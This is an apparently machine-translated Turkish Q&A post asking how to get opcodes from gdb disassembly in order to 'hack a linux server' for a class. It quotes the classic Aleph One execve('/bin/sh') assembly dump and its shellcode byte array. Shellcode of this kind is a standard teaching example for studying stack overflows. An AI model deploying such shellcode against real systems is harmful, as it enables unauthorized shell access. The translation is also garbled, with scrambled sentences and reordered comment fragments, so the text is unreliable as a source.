Programımın montaj kodunu gdb'yi kullanarak nasıl edinebilirim, ancak op kodunu nasıl alabilirim? Bir linux sunucusunu hacklemek için buna ihtiyacım var (endişelenmeyin, bir sınıfın parçasıyım, böylece gerçek bir sunucu zarar görmeyecektir). Aslında this makale okudum ve merak ediyorum nasıl montaj alabilirsiniz:Bir c programının op kodları nasıl elde edilir
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
aşağıdadır:
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
sistem Ben C. I kullanacak linux x86 ve dildir Otomatik bir yoldan gerçekten hoşlanıyor, ancak manuel bir çözüm de işe yarayacaktı.
% ebp,% esi,% esp vb. Nasıl dönüştürürüm? Kullanabileceğim bir harita var mı? veya otomatik bir program mı? İşte
Bir x86 disassembler mi arıyorsunuz? –
Ben disassembler –
yapmaya çalıştığımın tersi olduğunu düşünüyorum x86 komut kümesinin bir listesi eşlemelere sahiptir, 0xEB (JMP' olan) veya tersini (montaj veya ") sökmek için kullanılabilir derleme ", JMP" 0xEB vb.). – tripleee